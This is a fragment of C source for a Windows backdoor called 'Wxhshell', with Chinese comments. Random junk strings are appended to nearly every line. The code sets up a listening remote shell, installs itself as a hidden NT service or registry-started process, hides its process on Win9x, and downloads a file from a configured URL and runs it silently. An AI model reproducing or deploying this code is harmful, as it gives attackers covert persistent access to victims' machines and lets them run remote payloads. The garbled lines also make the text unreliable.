DWORD ExitStatus; C;oT0(
DWORD PebBaseAddress; 'n4
iW
DWORD AffinityMask; `ouCQ]tKz
DWORD BasePriority; Nd61ns(N
ULONG UniqueProcessId; 5vqh09-FB
ULONG InheritedFromUniqueProcessId; >Gi*BB
} PROCESS_BASIC_INFORMATION; }1pG0V4
kU[#.
y=%p
PROCNTQSIP NtQueryInformationProcess; ~ZZJ/Cu
#H/suQZN"g
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o_&*?k*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "}jv5j5
lc\f6J>HT
HANDLE hProcess; Sv|jR r'
PROCESS_BASIC_INFORMATION pbi; ZH8Oidj`
x"n)y1y
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &{H LYxh
if(NULL == hInst ) return 0; <&p0:S7
_16IP
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); '"o&BmF
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g0-J8&?X
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Wd/m]]W8Q
r@]iy78
j
if (!NtQueryInformationProcess) return 0; .3< sv
?D`h[ai
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c:sk1I,d~^
if(!hProcess) return 0; >Yt+LdG!-
@6:J$B~)u
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \N"=qw^ t
FW--|X]8
CloseHandle(hProcess); qQx5n
:x/L.Bz
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |sklY0?l(
if(hProcess==NULL) return 0; 6F4OISy%3
a C<
HMODULE hMod; kMY1Xb
char procName[255]; J}3 7 9
unsigned long cbNeeded; a>XlkkX
m*Q*{M_e
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >pq= .)X}
76r RF
CloseHandle(hProcess); ~AbTbQ3
BARs1^pR4
if(strstr(procName,"services")) return 1; // 以服务启动 yi$ Jk}w
Xj("
return 0; // 注册表启动 dyMj=e
} n%1I}?$fO
VwxLElV
// 主模块 ^J{tOxO=l
int StartWxhshell(LPSTR lpCmdLine) :Mq-4U.e
{ 3ZEV*=+T5
SOCKET wsl; >qhoGg
BOOL val=TRUE; 7G<v<&
int port=0; tV5Uz&:b
struct sockaddr_in door; gV-x1s+
<qpDAz4k
if(wscfg.ws_autoins) Install(); ,Kw]V %xOb
R x>>0%e.
port=atoi(lpCmdLine); mFdj+ &2\
3
2MdDa
if(port<=0) port=wscfg.ws_port; ;Q&|-`NK
FJl_2
WSADATA data; Q7vTTn\
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A:-r2;xB
oPPxjag\
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; UZ` <D/
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V<%eWT)x7C
door.sin_family = AF_INET; gN("{j1Q
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4Y#F"+m.]
door.sin_port = htons(port); /PuN+M
(+^z9p7/!
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CCQ38P@rv
closesocket(wsl); ~7}aW#
return 1; GV"Hk E;
} yaD_c;
2[8C?7_K0?
if(listen(wsl,2) == INVALID_SOCKET) { `$5 QTte
closesocket(wsl); `f~\d.*U
return 1; d@ ?++z
} ZWH9E.uj
Wxhshell(wsl); L~PBD?l
WSACleanup(); %Ct^{k~1
|\W9$V
return 0; x #Um`
RrG5`2
} (WISf}[l;
#S*`7MvM
// 以NT服务方式启动 ~5Cid)Q}@o
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) knsTy0]
{ sG6ts,={
DWORD status = 0; Hido[
DWORD specificError = 0xfffffff; >-0\wP
H>qw@JiO!
serviceStatus.dwServiceType = SERVICE_WIN32; ip`oL_c
serviceStatus.dwCurrentState = SERVICE_START_PENDING; Ac2,A>
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p!OCF]r
serviceStatus.dwWin32ExitCode = 0; Duu)8ru
serviceStatus.dwServiceSpecificExitCode = 0; P~H?[
;
serviceStatus.dwCheckPoint = 0; N-9Vx#i
serviceStatus.dwWaitHint = 0; z3bRV{{YqN
Us.")GiHE
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y_7lSo8<
if (hServiceStatusHandle==0) return; :Q=tGj\G
s6k@W T?"^
status = GetLastError(); iaAj|:
if (status!=NO_ERROR) ? +q(,P@*
{ E<~Fi.M;\
serviceStatus.dwCurrentState = SERVICE_STOPPED; /~O>He
serviceStatus.dwCheckPoint = 0; WP5QA8`3
serviceStatus.dwWaitHint = 0; KqD]GS#(
serviceStatus.dwWin32ExitCode = status; DT Cwf
serviceStatus.dwServiceSpecificExitCode = specificError; 4*D'zJsJ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); S#^2k!(|G
return; JoCZ{MhM
} Bo#,)%80
vR)f'+_Nz
serviceStatus.dwCurrentState = SERVICE_RUNNING; I0qSx{K
serviceStatus.dwCheckPoint = 0; (qbL=R"
serviceStatus.dwWaitHint = 0; 2YbI."ob
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (\8~W*ej"
} Q:5^K
nqFJNK]a
// 处理NT服务事件,比如:启动、停止 e2><Y<
VOID WINAPI NTServiceHandler(DWORD fdwControl) yZ:AJNb
{ C$+z1z.!
switch(fdwControl) cEK<CV
{ Lhz*o6)
case SERVICE_CONTROL_STOP: fFNscY<4w
serviceStatus.dwWin32ExitCode = 0; E-`3}"{
serviceStatus.dwCurrentState = SERVICE_STOPPED; Ov-Y.+L:
serviceStatus.dwCheckPoint = 0; 7K 'uNPC
serviceStatus.dwWaitHint = 0; ]J(BaX4
{ Img$D*BM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); CiNOGSlDj
} T2ZB(B D
return; ~z kzuh
case SERVICE_CONTROL_PAUSE: 7@1GSO: Yf
serviceStatus.dwCurrentState = SERVICE_PAUSED; k6$Ft.0d1Z
break; L[cP2X]NQ
case SERVICE_CONTROL_CONTINUE: Ht"?ajW{
serviceStatus.dwCurrentState = SERVICE_RUNNING; &E+mXEve
break; PNs*+/-S
case SERVICE_CONTROL_INTERROGATE: z}a9%Fb
break; xjy(f~'
}; ;I/ A8<C
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W8_$]}G8E
} kRb %:*
_M)
G
// 标准应用程序主函数 X5tx(}j
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~+)>D7
{ 2oo/KndU
&<LBz|
// 获取操作系统版本 @GWJq
3e
OsIsNt=GetOsVer(); RuGG3"|
GetModuleFileName(NULL,ExeFile,MAX_PATH); agkGUK/
.|e8v _2J
// 从命令行安装 v{X<6^g
if(strpbrk(lpCmdLine,"iI")) Install(); {SkE`u4Sz
4Ql9VM%y
// 下载执行文件 U38~m}c
if(wscfg.ws_downexe) { }a%1$>sj
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) al" =ld(
WinExec(wscfg.ws_filenam,SW_HIDE); tE#;$Ss
} 1Ror1%Q"?
fKW)h?.Kd
if(!OsIsNt) { G*f\
/
// 如果时win9x,隐藏进程并且设置为注册表启动 YsMM$rjP+
HideProc(); ,M9e *
StartWxhshell(lpCmdLine); ^
-4~pDv^
} tZG l^mA"g
else y_'6bpb
if(StartFromService()) M@z_tR'3\
// 以服务方式启动 wF9L<<&B
StartServiceCtrlDispatcher(DispatchTable); )Dp0swJ
else >xXC=z+g]
// 普通方式启动 /i~x.i3
StartWxhshell(lpCmdLine); 4.p:$/GTS
pm=m~
return 0; pMJm@f
} R@-x!*z
?N(<w?Gat
,+5:}hR+
@qpj0i+>*
=========================================== "BVp37m;?
?qb35
!6l*Jc3
o*Xfgc
`{|w*)mD
i),bAU!+m
" }i{qRx"4
qX*xQA|ak,
#include <stdio.h> e=nvm'[h
#include <string.h> 7{]dh+)
#include <windows.h> 1BEs> Sm
#include <winsock2.h> X5\xq+Ih
#include <winsvc.h> _ !E&